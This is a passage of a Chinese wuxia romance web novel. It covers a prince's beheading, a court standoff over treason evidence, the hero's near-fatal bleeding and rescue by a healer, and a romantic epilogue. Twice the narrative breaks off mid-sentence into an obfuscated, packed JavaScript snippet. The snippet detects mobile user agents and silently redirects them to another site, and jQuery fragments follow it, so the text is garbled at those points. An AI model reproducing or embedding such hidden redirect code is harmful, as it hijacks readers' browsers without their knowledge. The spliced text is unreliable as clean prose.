方隐攸无所谓的耸耸肩,“那又如何,宇周已死,就算是天王老子来了,我方隐攸也不怕!” 说罢,他又割下一块肉。 钟季修这时候知道怕了,周围的杀手也开始蠢蠢欲动,但是又碍于方隐攸的剑锋抵着他们主子的脖颈不敢贸然。 钟季修愤恨的瞪着方隐攸,警告道:“死了又如何?我乃是皇子,你藐视皇家,便是诛九族的大罪!死了的人也要被挖出来鞭尸!” 一个杀手也适时朝着方隐攸喊了一句,“方隐攸,你若是敢再伤我们主子分毫,我们便杀了这里的所有人!” 方隐攸嗤笑一声,直接手起刀落一剑斩下钟季修的头颅,然后迅速朝着方才开口的黑衣人奔去,一脚将人踹的深陷入假山中。 霎时间,整个后院又陷入了厮杀,方隐攸一手提着昌誉的衣领,一手揽起倒在地上的柳扶斐,纵身跃上了石楼的屋顶。 院中的崔清止望着屋顶上的三个人,眼神晦暗难明。 “住手!” 一声怒喝响起,便看到院中突然涌入大量披甲持械的官兵,他们将所有人围在中间,气势汹汹,威武雄壮。 一身杏黄色蟒袍的钟季棣紧随其后踏入院中,他板着脸十分随意的扫了一眼不远处钟季修的尸体,然后仰头朝着柳扶斐厉声一呵。 “柳扶斐!你竟然纵容自己的侍卫杀了当朝王爷!该当何罪!” 90.都是误会 屋顶上的柳扶斐抬手抹掉嘴角的血渍,将方隐攸护在自己身后,然后神色平静的望向钟季棣。 “不过是一个不忠不义不仁的逆贼,杀了便杀了,何错之有。” 钟季棣背着手,往前一步,横跨过一具死尸,落脚时仔细避开了地上的血迹。 “逆贼?”钟季修语气变得冷酷,“堂堂寿王在你嘴里竟然成了逆贼?本宫看你当真是无法无天!” 钟季棣低喝一声,“来人!” 话音一落,一队士兵立刻上前围在石楼周围,长枪高举,泛着寒光的抢尖正对着屋顶上的三人。 昌誉还有些没有反应过来,他缩在方隐攸后面,扯了扯他的衣袖,“他一身蟒袍,还自称本宫,不会是太子吧?” “对了,他不是叫柳傅文吗?怎么又成了柳扶斐了?” 不等方隐攸回应,他又继续絮絮叨叨:“这群人怎么好端端的都来江湖中瞎掺和了?不会顺道把我七星门给端了吧?” “方隐攸,若出了事,你可得带着我一块逃命,否则...我做鬼也不会放了你!” 方隐攸无语的横他一眼,然后抖开他拽住自己衣袖的手,缓步走到柳扶斐身边,朝着钟季棣喊道:“人是我要杀的,与他无关。” 他冷眼撇向地上钟季修的尸体,“你若是不来,我还会将他碎尸万段。” 方隐攸的语气肆意,听不出半点畏惧。 钟季棣闻言呵呵一笑,“不过是一个江湖匪徒,哪里来的胆子杀害皇亲国戚!你此言不过就是为了替你主子开罪!” 言罢,他望向柳扶斐,“柳扶斐,你若是乖乖认罪,便可保柳家旁人不受牵连!否则...该是株连九族的大罪。” 方隐攸莫名其妙的盯着他,这人贵为太子怎么听不懂人话似的,还尽说些牛头不对马嘴的屁话。 柳扶斐捏住方隐攸的手腕,凑到他耳边悄声道:“他不过是想要借机除去我罢了。” “毕竟他已经将我当做眼中刺许多年了。” 柳扶斐眼角余光瞥着钟季棣,语气变得得意起来,“你还记得苏辰吗?” 方隐攸闻言一愣,思索片刻后嗯一声,“当初你花了五十金救下的那个书生。” “对。”柳扶斐安抚的拍了拍方隐攸的肩膀,“他此次帮了我们大忙。” 柳扶斐话音刚落,还不待他继续解释,便听到舒慕谨带着笑意显得有些轻佻的声音传来。 “当真是稀奇,竟然还能在这江湖小门小派里见到太子卫兵。” 随后又听到另一个男人的怒喝声,“不长眼睛的狗东西,竟然敢挡宰相大人的道,活腻了?” 钟季棣脸色一僵,不可置信的望向柳扶斐,“他怎么会来?” 柳扶斐双手一摊,语气十分无辜的回到:“我怎么知道。” 身穿杏色长袍的舒慕谨慢慢悠悠的走进院中,他的那群身材魁梧的随从气势汹汹的跟在他身后。 再后面的也是一群披甲持械的士兵,数量并不比钟季棣带来的人少,一进来就将枪尖对准了太子带来的人。 眼下已经到了日暮时分,那张白到泛清的脸上被投上几缕暖色的夕阳,看上去少了几分死气。 他的神色悠哉,在看到钟季棣时装模作样的惊呼一声,“我就说呢,原来是太子殿下也在这里。” 说罢,他抬手朝着钟季棣举手作揖,“见过太子。” 钟季棣审视的打量他一眼,微微颔首示意,随后问道:“宰相大人来这里做什么?” 舒慕谨朝他笑了笑,“我来找柳公子。” 舒慕谨煞有介事的环顾一周,然后指着钟季修的尸体惊呼一声,“哎呀呀,这...”他摊手跺脚,做出一副惊慌不已的模样,“寿王殿下怎么就死了?” 钟季棣闻言脸色已经有些微变,冷着脸盯着舒慕谨,“什么意思?” 舒慕谨长叹一口气,无奈的摇头不语。 屋顶上的昌誉看完院子里的一出,神色更加困惑,他凑到方隐攸耳边悄声道:“宰相也来了...我七星门不会真的要完了吧...” 他眼睛余光撇向钟季修的尸体,啧啧嘴,“我就是抢点钱财,你可是一刀砍断了什么王爷的头...” 他的语气变得谨慎起来,“不过姓方的,你别怕,他们若是真的要对你怎么样,你就跑。” “反正天高皇帝远的,你武功又好,等到风头过去了,我就去找你,给你送点金银去,总归不会让你饿死。” 方隐攸听完他自言自语的说完这么一大通,抬手按住他的脸将人推开。 “你先管好你自己吧。” 昌誉往后退几步,小声道:“大不了我就把东西都还给他们...反正我昌誉可从来没做什么伤天害理的坏事,他们总不能不讲理一刀砍了我吧?” 院子里的舒慕谨像是才反应过来屋顶有人,惊讶的望着柳扶斐喊道,“柳公子!” 他往前几步,一把推开拿长枪指着屋顶的士兵,继续道:“我可算找到你了!” 柳扶斐语气上扬的哦一声,眼神莫测的问道:“宰相大人找我做什么?” 舒慕谨从怀里掏出一个小木盒举至头顶,“今日清晨,有人将此物放到我府门前,我打开一看,里面竟然...” “竟然是...哎...还是柳公子亲自看吧...” 舒慕谨越说越愤懑,最后直接一扭头,不再多言。 柳扶斐于是从屋顶上轻飘飘的落到他身前,拿过木盒子后还拿在手里把玩了一下后才打开。 里面是一叠纸,上面都写满了字,柳扶斐随意的瞟了几眼后忽然怒喝一声,“没想到钟季修竟然敢如此放肆!” 钟季棣闻言沉声喝道:“柳扶斐,你此言大不敬!王爷的名讳可是你能喊的?”他的脸色也霎时间沉了下来。 柳扶斐轻笑一声,朝他露出一个挑衅的眼神,随后从怀中掏出一个令牌高举至头顶后大声说道:“此乃御赐令牌,圣上赐我监察百官之权,遇不忠君臣之道、不守为官之法者,可就地处置!” 钟季棣看着柳扶斐手中那个写着御字的令牌,满眼的震惊。 他虽一直都知道朝堂中有人在暗处担着监察之职,却从未料想过这人竟然会是这个纨绔! “钟季修暗中谋划谋逆之举!该杀!”柳扶斐说完将手中的纸张朝钟季棣一递,“眼下证据确凿,本官也实属无奈,只能按规矩办事。” 钟季棣怒目而视,并未接过他手中的纸,冷声道:“柳扶斐,你杀他在前,证据送到为后,你当本宫是三岁痴儿吗?能受你如此愚弄?” 柳扶斐收回手,将纸叠好后放入木盒,风轻云淡的说到:“那是因为本官早就察觉到了钟季修行为有异,所以先行裁决,有何不可?” 柳扶斐抬手理了理衣襟,朝着舒慕谨微微颔首示意,“宰相大人为官清廉公正,也难怪钟季修的手下会将此等证据交到你手上。” 舒慕谨摆摆手,连连说不敢当。 钟季棣看着两人做戏,气极反笑。 “柳扶斐,父皇竟然宠你至此,当真是可笑可叹,” “太子殿下慎言,圣上岂是你我可妄自非议的?”柳扶斐朝着钟季棣乖张一笑,“太子殿下私下擅自率领卫兵出京本就是大罪。” “本官虽不会将此事禀告圣上,不过太子还是早些回京的好。” 钟季棣嗤笑一声,继而冷眼看向舒慕谨,“这证据,只怕宰相大人备了两份吧?” “一份是寿王谋逆。” “一份是太子谋逆。” “今日死的是谁,就呈上谁的罪证。” “你们眼里还有王法吗?”他手愤恨的朝着柳扶斐用力一指,“你就不怕本宫禀告圣上,治你滥用职权之罪吗?” 舒慕谨闻言惊呼一声,朝着钟季棣恭敬一拜,“太子殿下说的哪里话,这证据乃是我在门前捡到的。” “仅此一份而已。” 柳扶斐也适时笑道:“滥用职权?太子殿下这帽子扣得太大了些。” “他钟季修豢养杀手,在江湖中造下杀戮无数。天子犯法与庶民且同罪,他如此草菅人命,本官凭何不能杀?” 柳扶斐脸上的笑意霎时收敛,他冷眼盯着钟季棣,“还是说,太子殿下觉得江湖人非我大境子民,生死如蝼蚁,钟季修此举并无不妥?” 钟季棣顿时默然,良久后咬牙切齿的冷哼一声,朝着身侧的侍卫使了个眼色,一行人便如来时那般,秩序井然的退了出去。 钟季修的那群杀手一时之间有些茫然无措,他们听命于钟季修屠杀江湖人,等同于官屠匪,行的是正义之举,乃是天经地义。 可是如今,王爷是贼了,他们若是再听,自己不也成了贼了吗? 柳扶斐察觉到他们的心思,将令牌再次高举,“逆贼已死,你们若是现在撤去,本官可既往不咎,若是不退...” 柳扶斐朝着舒慕谨使了个眼色,舒慕谨朝着他们笑道:“那便是与钟季修同罪,当诛九族。” 话音一落,院中的杀手顷刻间做鸟飞散,只剩下一群江湖人面面相觑。 “方隐攸!” 屋顶上的昌誉惊呼一声,随后便看到方隐攸砰的一声砸在屋顶上,然后向下滚来。 柳扶斐眉心一跳,心知是方才那些药起了反应,立刻飞身接住方隐攸,然后半跪在地上,将方隐攸稳稳地抱在自己身前。 方隐攸此时双眼紧闭、七窍流血,身上那些原本止住血了的伤口也开始涌出大量的血,整个人片刻间就成了一个血人,连带着柳扶斐的衣袍也被染成了猩红色。 柳扶斐吓得脸色煞白,焦灼的呼唤着方隐攸的名字,却得不到任何回应。 “谷山一...” 柳扶斐张皇的喃喃低语,一把拽住舒慕谨的衣袖,“去幽州仓崂山找谷山一...” 他捧住方隐攸的手,贴在自己脸侧,感受着他掌心微弱的温度。 舒慕谨看着方隐攸已经开始泛青的脸,“幽州据此700多里...来不及了...” “来得及!” 柳扶斐怒吼一身,眼神猩红的看着舒慕谨,“必须来得及...” 他语气变得哽咽,用脸蹭了蹭方隐攸的手心。 “怎么会来不及呢...” “我带着他去!” 说着,柳扶斐抱着方隐攸起身,可是才一动,方隐攸身上的血流的更加厉害,像是峡中激流,源源不断的涌了出来。 柳扶斐吓得呼吸一滞,双腿顿时瘫软,抱着人直直的往前倒去。 一旁的昌誉和舒慕谨见状连忙将人扶住,让他尽量平稳的跪坐在了地上。 舒慕谨叹一口气,看向昌誉,“你是这里的掌门?” 昌誉点点头。 “你们这里没有大夫?” 昌誉闻言一愣,有些尴尬的咳了一声,“江湖人,哪讲究这些,都是备些伤药自己处理。” 柳扶斐弓着腰,将脸埋在方隐攸的脖子里,方隐攸的脉搏越来越缓慢,一下一下敲在他的心上,像是在做最后的告别。 柳扶斐咬紧红的诡异的唇,直到嘴里尝到一股甜腥味。 他咽下血水,缓解内心的恐惧,随后长呼一口气后将怀中的令牌递给舒慕谨,哑声道:“拿着这个去找圣上,让他下旨准我与隐攸合葬。” “墓碑刻:葛生蒙楚,蔹蔓于野,交柯结缕,同衾同椁。” “于君同契,生生世世。” 舒慕谨闻言大骇,“柳扶斐...你这是...” 柳扶斐闭紧双眼,将方隐攸紧紧的抱在怀里,任由他的血液将自己浸湿。 也不知道是不是错觉,柳扶斐竟然在浓郁的血腥味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023190|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中闻到了一丝独属于方隐攸、清冽如雨后初晴时竹林中萦绕的淡香。 “我与他是天赐的好姻缘,自然是要生死相随的。” 此话一出,周围的江湖人顿时讶然。 他们方才好不容易从他竟然是朝堂命官的震惊中反应过来,眼下又听到这话,再次被惊得倒吸一口凉气。 方隐攸虽然厉害,但是他终究是个江湖刺客! 当官的怎么还和做贼的搅和在一起了呢? 不过这些话他们是不敢说的,只能和周围的人相视一眼,便也都心领神会了。 舒慕谨将他们的反应看在眼里,朝着守在一旁的随从摆了摆手。 随从点点头,立刻冲向那群缩头缩脑的江湖人,几拳就将人赶出了后院。 昌誉见状也反应了过来,朝着手下摆摆手,示意他们都退出后院。 等到人都走了,舒慕谨看向柳扶斐,“你何至于此?” 柳扶斐沉默不语,静静地听着方隐攸越来越迟缓的脉搏,免得错过了与他共走奈何桥的时辰。 噔的一声,一旁的石楼顶上忽然传来几声清晰的脚步声。 舒慕谨眉头一皱,立刻挡在了柳扶斐和方隐攸身前,虎视眈眈的盯着上面。 “去看看。” 昌誉闻言一愣,手指向自己,“我?” 舒慕谨郁闷的看向他,将自己细长的胳膊在他面前一举,臂上的锦衣往下滑,露出他半个小臂,上面瘦的皮包骨,蓝紫色的筋脉清晰可见。 “不然呢?” 昌誉哦一声,刚想踩着一旁的石墩借力翻上去,便看到一个身材魁梧、满头银色卷发的男人抱着一个身形修长的男人从屋顶上跳了下来。 “你们...是谁?” “仓崂山谷山一。” 舒慕谨一听是谷山一,心里松了口气,赶忙让开了位置。 柳扶斐眼下已经变得浑浑噩噩,半点没有察觉周围的动静,依旧一动不动的紧紧的抱着方隐攸。 谷山一和云礼对视一眼,立刻朝着他走了过来。 “让我看看。” 柳扶斐闻声迟缓而僵硬的抬起头,他的眼神如行尸走肉般空洞,瞪着眼睛盯着谷山一看了半天都没有反应过来。 谷山一蹲下身,直接从他怀里拿出方隐攸的手臂。 方隐攸的掌心盛满了血,谷山一挪动他的手臂时,血水顺流而下,淌得到处都是。 眼下方隐攸的脉搏极其微弱,已经是半只脚踏入鬼门关的人了。 谷山一的指腹在他的手腕上试探许久,神色变得越来越凝重。 柳扶斐愣愣的看着他的动作,眼神逐渐变得清明,脸上的表情也变得激动起来,他惊呼一声,满脸希冀的望着谷山一。 “前辈,你能救他的吧...”说完,他哽咽着祈求:“求求你了...前辈救救他...” 谷山一垂眼思忖片刻,朝着说道:“我会封住他的心脉,为他延长几日寿命。” “他吃药太多,导致筋脉失常,血液无法在体内扭转,便从七窍和伤口中涌出。” “我需要给他置换全身血液,或有一线生机。” 柳扶斐眼神里出现了几丝光彩,喜极而泣的连连点头,“好...都听前辈的...有什么需要我做的前辈尽管开口。” “两日之内,替我找到十个身强体壮、无隐疾、无病痛、近一个月内未曾饮酒、且血液可与方隐攸血液相溶者。” 柳扶斐从方隐攸怀中拿出他爹的那块令牌递给舒慕谨,“军中将领皆能满足需求,你拿着这块令牌去附近军营找人。” 舒慕谨眼色复杂的看了一眼令牌,嗯了一声,拿着令牌便带着随从走了。 谷山一看向昌誉,“我还需要借你的寒玉床来替方隐攸止血。” 昌誉闻言一惊,不懂他为什么知道自己有寒玉床,不过眼下也不是计较这些的时候,他连连点头,“寒玉床就在我楼中冰窖里面,前辈尽管用。” 云礼走向柳扶斐,“把他给我。” 柳扶斐双臂收紧,面色慌张的遥遥头,“我来。” “你不行。”云礼撇撇嘴,“若是不想他血流尽而亡,你最好是尽快将他给我。” 云礼看向柳扶斐,温声解释:“搬动他时需要用内力护住他的全身筋脉。” “云礼内力浑厚,正合适。” 柳扶斐咬紧唇,眼神沉沉的看着方隐攸布满血痕的脸,不得不承认自己内力确实不如云礼的事实。 他小心翼翼的将方隐攸放到云礼的臂弯,“前辈,多谢了。” 云礼轻扫他一眼,“如今知道叫前辈了,之前不是挺傲。” 柳扶斐有些颓丧的垂下头,整个人显得十分萎靡。 “以前是我唐突冒犯,还望两位前辈莫要与我计较。”他咽了咽嗓子,沉呼一口气,“只要二位能救下隐攸,我日后必当唯命是从。” 谷山一横一眼云礼,语气平静的喊一声:“云礼。” 云礼脸色一僵,立刻往后退一步,朝着昌誉使了个眼色,“还不快带路?” 昌誉应一声,赶忙跑上前去引路,柳扶斐也疾步跟了上去。 眼下天色已晚,因着刚刚的一场打斗,也没有人来点燃院中的灯笼,周遭一切都变得朦胧起来。 谷山一转身看向站在暗处的崔清止,“需要我告知方隐攸是你传信于我的吗?” 崔清止从暗处走了出来,衣裳上铺满了暗色的血迹,头发也散乱了,失了他原本矜持从容的体面。 他面无表情的摇摇头,“不必了。” 说罢,他抬手朝着谷山一躬身一拜,“多谢前辈。” “为谁谢?” “方隐攸。” 谷山一轻笑一声,“倒是有趣。”随后,他摆了摆衣袖,朝着云礼他们离开的方向而去。 91.江湖 方隐攸没想过自己能醒。 在他察觉到自己浑身的血脉开始乱冲时,以为自己是个必死的局面。 方隐攸倒是不怕死,只是有些遗憾与柳扶斐许下的诺言要失约了。 也不知道他会不会埋怨自己。 所以当他睁开眼,看到柳扶斐那张憔悴而又委屈巴巴的脸时,还以为这人追到了鬼门关来找自己讨说法,下意识的就说了一句,“对不住,我失约了。” 柳扶斐惊喜万分的脸瞬间僵住,他撇着嘴,泪眼汪汪的干嚎一声:“方隐攸!你这话是什么意思,鬼门关前走一遭不想认账了吗...” 方隐攸闻言一愣,后知后觉的反应过来——他没死。 “我没死?” 柳扶斐原本是蹲在床边的,闻言立刻换了个姿势,直接躺倒床上,半个身子悬在了床沿,他注视着方隐攸,然后缓缓的将自己的脸贴在他的脸上。 “感觉到了吗?我的存在是真实的。” 肌肤相触的那一瞬间,温热的触感扩散开,细腻而轻柔。 方隐攸眼珠一转,这才反应过来自己眼下正好好地躺在床上,头顶的乌青色床幔织着金边,一看就是七星门的做派。 柳扶斐小心翼翼的蹭了蹭方隐攸的脸,“我就知道你会醒过来。” “为什么?” 柳扶斐眉眼带笑,整个人都变得愉悦起来,“因为你是天下第一的方隐攸。” 方隐攸从屋顶摔下后就失去了知觉,并不知晓柳扶斐那时有多恐慌,短短几个字全是胡言。 只以为他当真如此想,闻言得意的轻哼一声,“那是自然。” 柳扶斐仔细的打量着他,问道:“感觉怎么样?身子还有什么不适吗?” 方隐攸闭上眼,调转了一下内息,惊讶的发现除了感觉到肌肉有些无力以外,竟然没有任何不适。 他疑惑的问道:“谷山一来了?” 柳扶斐丝毫不惊讶方隐攸能猜到是谷山一救的他,毕竟这世间也只有他能起死回生了。 “来过,已经离开了。” “那日他及时赶到,借用七星门的寒玉床为你止住了血,然后又替你换了浑身的血后便走了。” “走时还留下了六颗药丸,说一日一颗,吃完后你就会醒。” 方隐攸恍然大悟的噢一声,侧过脸望向他,“江湖里眼下如何了?还有那钟季棣,没有去圣上面前告状吧?” 柳扶斐捻起他的一缕青丝,缓缓道:“江湖中风平浪静,活下来的那群人都忙着休养生息,以期来日能重振门派雄风。” 方隐攸漫不经心的嗯一声,“崔清止呢?” 柳扶斐捻搓的动作一顿,将青丝卷在指尖,看着方隐攸的眼神变得戏谑,“怎么?你在担心他?” “不担心。”方隐攸的语气非常平淡,“死在他手里的人太多,总会有人去找他寻仇,他终究难逃一死。” “我只是觉得有些可惜,他与宇周...本该是满腹经纶的贤才君子...” 话音刚落,门外就传来了几声急促脚步声,紧接着一身白玉色长袍的昌誉就走了进来。 他看到躺在床上的两人惊得往后跳了一步,“你们这...”他装模作样的摇摇头,“有伤风化!” 柳扶斐轻飘飘的扫他一眼,随后将脸埋在方隐攸的脖子里,闷声闷气道:“反正眼下整个大境都知晓我柳扶斐与方隐攸不清不楚了,就算是去闹市街头我也要如此。” 方隐攸惊得目瞪口呆,他咬牙用力将人推下床,“你这话是什么意思?” 柳扶斐踉跄一步,顺势撑住床前的方桌后转身坐在长凳上,他双臂展开反放在桌子上,朝着方隐攸露出一个玩世不恭的笑意。 “自然是想要与你一生一世一双人的意思。” 方隐攸脸色瞬间涨红,连耳尖都开始发烫,他不过是昏睡了几日,怎么这人越来越没脸没皮了。 昌誉朝着方隐攸揶揄一笑,“方隐攸,你可从来没有告诉过我你喜欢的是男子。” 他朝前一步,弯着腰伸出一双手在面前一晃,故作娇羞的嗔怪一句,“从前不觉得,如今想来我可是被你占了许多便宜。” 方隐攸看着他指上的玉指环,呵呵一笑后从床上翻身而起,也不管眼下自己是什么模样,直接一脚将人踢得飞出房屋。 “狗嘴里吐不出象牙的东西,我占了你什么便宜?” 柳扶斐见状立刻起身扯过屏风上的外袍披在他肩上,然后轻轻拍着他的胸膛,“莫气莫气,身子要紧。” 昌誉的运气好,恰好落在屋外及腰高的牡丹花丛里,虽然压坏了许多娇艳的花,但是好歹人没受伤。 外面的七星门众注意到这边的动静,赶忙跑了过来将人扶了起来。 昌誉抖抖肩膀,掸落肩上发梢上的花瓣,郁闷的嘀咕一句:“早知道你一醒过来就打我,我就算是砸了寒玉床都不会借给你用!” 方隐攸没再理他,而是侧过脸看向柳扶斐,“我杀了钟季修一事,当真不会拖累到你吗?” 柳扶斐闻言正了神色,他将人引到梳妆桌边侧坐好,然后双手按在膝盖上,弓着腰缓缓解释。 “他私养的杀手数以千计,比太子东宫里的卫兵都多,本就是大罪。” “而且他滥杀无辜是事实,圣上知晓以后并未多说些什么。” 方隐攸闻言沉默许久,问道:“你那日提起苏晨,他怎么了?” “他来京后一直在钟季修府上做事,我与舒慕谨掌握的罪证由他递出来最为合适。” “他愿意?背信弃主可不是什么光彩的事。” 柳扶斐嗯一声,“他愿意,说是为了报我的恩。” 方隐攸想起那个固执到迂腐的书生,有几分感慨。 “确是个善恶分明之人。” 说完,他的眼神变得厌弃,语气也轻蔑了起来, “倒是那个钟季修,好好的王爷不做,非得来江湖里兴风作浪,蠢货一个,还不如让苏辰来做王爷。” 方隐攸这话的逻辑过于诡异,柳扶斐忍不住轻笑一声,“我会替他在朝钟谋个官职的,也算是不埋没了人才。” 方隐攸转念想起钟季棣,忙问道:“那钟季棣呢?他也不追究了?” “他?”柳扶斐耸耸肩,“他精明着呢。” “你以为他为何早不出现晚不出现,恰好是你杀了钟季修以后才出现?” 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木梳从方隐攸乌黑的发丝中穿过,方隐攸颈后那道三寸长的红痕便若隐若现。 这是谷山一为他换血时割开的,伤口虽然已经痊愈,却留下了一道痕迹。 柳扶斐的指尖轻轻抚过红痕,梳子停在发尾,柳扶斐望着铜镜里方隐攸神色平和的面庞,眼前浮现的却是那天他七窍流血的模样。 “...日后若是陷入了生死险境,切莫再想着以命相搏了。” “就算是拼命,也需是我与你一道,好吗?” 方隐攸闻言眼中浮起愧疚,当时情况紧急,他哪里考虑得了那么多,只想着自己不过是烂命一条,死了便是死了。 他反手握住柳扶斐的手腕,修长的手指往上一攀,如藤蔓一般与他十指纠缠。 “柳兄,我日后必然不会再让你担惊受怕了。” 柳扶斐弯腰将下巴压在方隐攸的肩膀上,与他在铜镜中四目相对,眼神灼灼如星火。 “此话当真?” “我方隐攸从不打诳语。” 柳扶斐眉眼舒展,软了嗓音,试探的问道:“那你日后作何打算?” 方隐攸侧过脸,看着一旁放桌上的可生剑。 “以武为尊的江湖里,绝世武功便是一把开了刃的利剑,拥有了它,就能战无不胜。” “为此可以丧心病狂、灭绝人性。” “崔清止虽然行事方式过于偏激,但是他说的话却没错,眼下的江湖已经不是当初的江湖了。” “我想...”方隐攸看向柳扶斐的侧脸,“既然他们喊我一声方盟主,不做白不做。” “江湖,该是无拘无束、行侠仗义之地,而不是一言不合就拔刀相向的屠场。” 柳扶斐轻嗯一声,闭上眼闻着方隐攸身上淡淡的药香,“好,我与你一道。” 方隐攸有些迟疑,“你不做官了?” “做。”柳扶斐眉峰一挑,将桌上的红玉莲花发簪插入他的发间,笑道:“不然怎么做你的靠山。” “毕竟,官匪勾结才是长久之计。” ——正文完。 92.兑现诺言[番外] 方隐攸这个盟主做的非常省心。 他先是找昌誉要了半个庄子作为自己的老巢。 然后在那块价值千金的玉石门旁边辟出来一个丈许宽的石门,门上挂一个木匾,上面写三个潦草的大字——八仙派。 而他,便成了八仙派掌门人兼任武林盟主。 昌誉对此非常不满,手指着方隐攸的面门,气势汹汹的质问:“好你个方隐攸,拿了我半个庄子不说,我是七星,你就非得八仙,对吧?” 方隐攸双手环胸,倚在石门上,呵呵一笑,“门众死了大半,你这么大片地方空着也是空着,给我怎么了?” “至于这八仙派嘛...”方隐攸乖张一笑,“柳扶斐取得,你有本事找他算账去?” 昌誉闻言肩膀一抖,啧啧几声,“你是盟主还是他是盟主,怎么什么都是他说了算?” 方隐攸不想再与他争论这些,抬腿朝着庄子里走去。 昌誉紧随其后,与他隔着半臂的距离,絮絮叨叨的说了一路。 “方隐攸,我跟你说,那柳扶斐是官,眼下他待你是极好,但是官场中人都善变的很。” “保不准哪天他就厌弃了你,所以啊...” 昌誉手提着衣摆,榻上石阶,看着方隐攸的侧脸,“你可得早些做好打算。” 方隐攸噢一声,跨步走入廊中,顺势抬手拨动檐下悬着的风铃,叮咚声响,清脆悦耳。 昌誉并不满意他的反应,挤到他身边,与他并肩而行。 “你究竟有没有听我说话?” 方隐攸漫不经心的又嗯了一声。 昌誉无奈的叹了口气,“我为人如何你也是知晓的,并非是刻意要编排他,只是...” 方隐攸接过他的话,“只是你舍不得昨日他从你屋里拿走的那尊和田玉佛?” 昌誉脸上一僵,连忙摆手解释,“怎么可能!我昌誉是那么小气的人吗?” “不过是一尊玉佛而已,有什么大不了的...” 昌誉的声音越说越低,他忽而嘿嘿一笑,“只是那尊玉佛料子不好,不如你与他说说,换一尊?” 方隐攸斜眼扫他一眼,那尊玉佛可是价值连城的宝贝,柳扶斐花了好大的功夫才从他床下的秘洞里找出来的。 出了回廊是个小花园,里面载着几株山茶花与迎春花,还挖出了一小块地方养了几只锦鲤,眼下日光落在水面,波光粼粼的十分耀眼。 方隐攸蹲到池边,用剑鞘逗弄着里面的锦鲤。 “不换。” 方隐攸拒绝的理直气壮,“我喜欢那尊玉佛。” 昌誉闻言气极反笑,“方隐攸,你信佛吗?” 方隐攸起身,仰面照着太阳,笑道:“不信。” “那你喜欢玉佛?” “它贵。” 昌誉咬牙切齿的瞪着他,“不问自取,视为贼也。” 方隐攸无所谓的耸耸肩,继续往前走,穿过一扇圆拱门后进了他如今住的院子。 这是个三合院,院中辟出方方正正几块地,上面都规整的种了些花草。 东厢房门口种了一株银杏,树下砌了一个石桌,桌上摆着一套茶具,煮茶的风炉里的碳火还未燃尽,显然是有人刚离去不久。 方隐攸走到石桌边坐下,手撑着下巴望着一旁满脸怨怼的昌誉。 “真舍不得?” 昌誉点点头,丧着脸说到:“那可是我带着弟兄们从一伙山匪手里九死一生才抢来的!” “抢来的?”方隐攸闻言轻笑一声,“既然是白拿的,那我便更不能还给你了!” “方隐攸!”昌誉也气了,脚一跺,朝着方隐攸狠狠道:“你若是不还给我,我就——” “就如何?” 柳扶斐的声音不其然的出现,昌誉闻言脸上立刻堆起讨好的笑,他转身看向站在拱门前的柳扶斐,“就告诉他这玉佛该如何养护,免得时日久了蒙了尘。” 柳扶斐挑挑眉,缓步走到方隐攸身后。 “昌掌门多虑了。”柳扶斐的手轻轻搭在方隐攸的肩膀上,笑道:“这玉佛珍贵难寻,我必然是要日日把玩的,保它一粒灰都不会沾。” 昌誉撇过头翻了个白眼,然后转过头看着柳扶斐微微一笑,“忽然想起来我门中还有些事务未曾处理,我就先回去了。” 柳扶斐不置可否的回以浅笑,方隐攸则是朝着他摆摆手,“有时间多练练功,别一天到晚的惦记着几点金银。” 昌誉想说我若是不惦记只怕整个七星门都要被你们两人搬空,但是顾忌柳扶斐的身份他也只能呵呵一笑,然后头也不回的走了。 等到人出了院子,柳扶斐笔挺的脊梁瞬间塌了下来,整个人都压到了方隐攸的肩膀上。 他凑到方隐攸耳边,语气暧昧的说到:“方隐攸,今日诸事皆宜。” “嗯?”方隐攸有些疑惑,“你要做什么?” 柳扶斐的手往前一伸,从他的肩头滑到腹前,指腹缓缓摩挲着他衣襟上绣的暗纹。 “方大侠君子一言驷马难追,那日在并阳县许下的诺言是不是该兑现了。” 方隐攸无语望天,“柳扶斐,你要不要看看现在是什么时辰?” 柳扶斐戏谑一笑,“春日明媚,是好时候。” 柳扶斐顺势扣住方隐攸的手腕,用力将他从石凳上拉起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027046|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来后揽着他的侧腰一转身,将人困在银杏树干与胸膛之间。 日光穿过树叶的细碎光影在两人衣袂上流淌,簌簌声响里传来低语:“难道你想赖账不成?” 方隐攸的后背贴着崎岖的树干,腕间脉搏在柳扶斐的掌心跳得纷乱。 他垂眸望着柳扶斐腰间晃动的冰蚕丝缕带,忽然想起初见时他腰间系的好像也是这样的麻烦东西,还织着繁杂的祥纹。 “去屋里。”方隐攸忽然偏头咬住柳扶斐肩头一片银杏叶,青涩的草木气息在齿间漫开,“石桌太硬。” 九步之遥的卧房飘着安神香,金狻猊香炉吞吐的烟丝缠绕着雕花窗棂。 紫檀雕花床榻上,青色的纱幔账帘上绣着盛开的牡丹与翠鸟,风起时纱幔摇曳如烟,盘腿坐在丝绸褥子上的两人的身影变得朦胧起来。 柳扶斐抽出方隐攸的发簪时,迅速贴近他的后颈,倾斜而下的青丝将他掩在其中,他闭上眼用唇肉轻触着那道红痕。 嗓子里发出一声声满足的喟叹,“方隐攸...” 方隐攸反手替他取下发簪,然后将两根发簪并蒂放在床头,一白一红,相依相偎。 